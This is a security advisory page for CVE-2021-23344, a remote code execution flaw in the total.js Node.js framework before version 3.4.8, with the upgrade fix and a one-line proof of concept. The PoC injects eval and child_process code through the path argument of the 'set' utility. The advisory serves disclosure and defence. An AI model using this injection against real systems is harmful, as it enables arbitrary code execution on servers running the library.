Remote Code Execution (RCE) Affecting total.js package, versions <3.4.8


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.96% (84th percentile)

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  • Snyk IDSNYK-JS-TOTALJS-1077069
  • published4 Mar 2021
  • disclosed19 Feb 2021
  • creditChiao-Lin, Yu

Introduced: 19 Feb 2021

CVE-2021-23344  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade total.js to version 3.4.8 or higher.

Overview

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via set.

PoC

// To be run in a nodejs console:
require('total.js/utils').set({},'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//')

References

CVSS Scores

version 3.1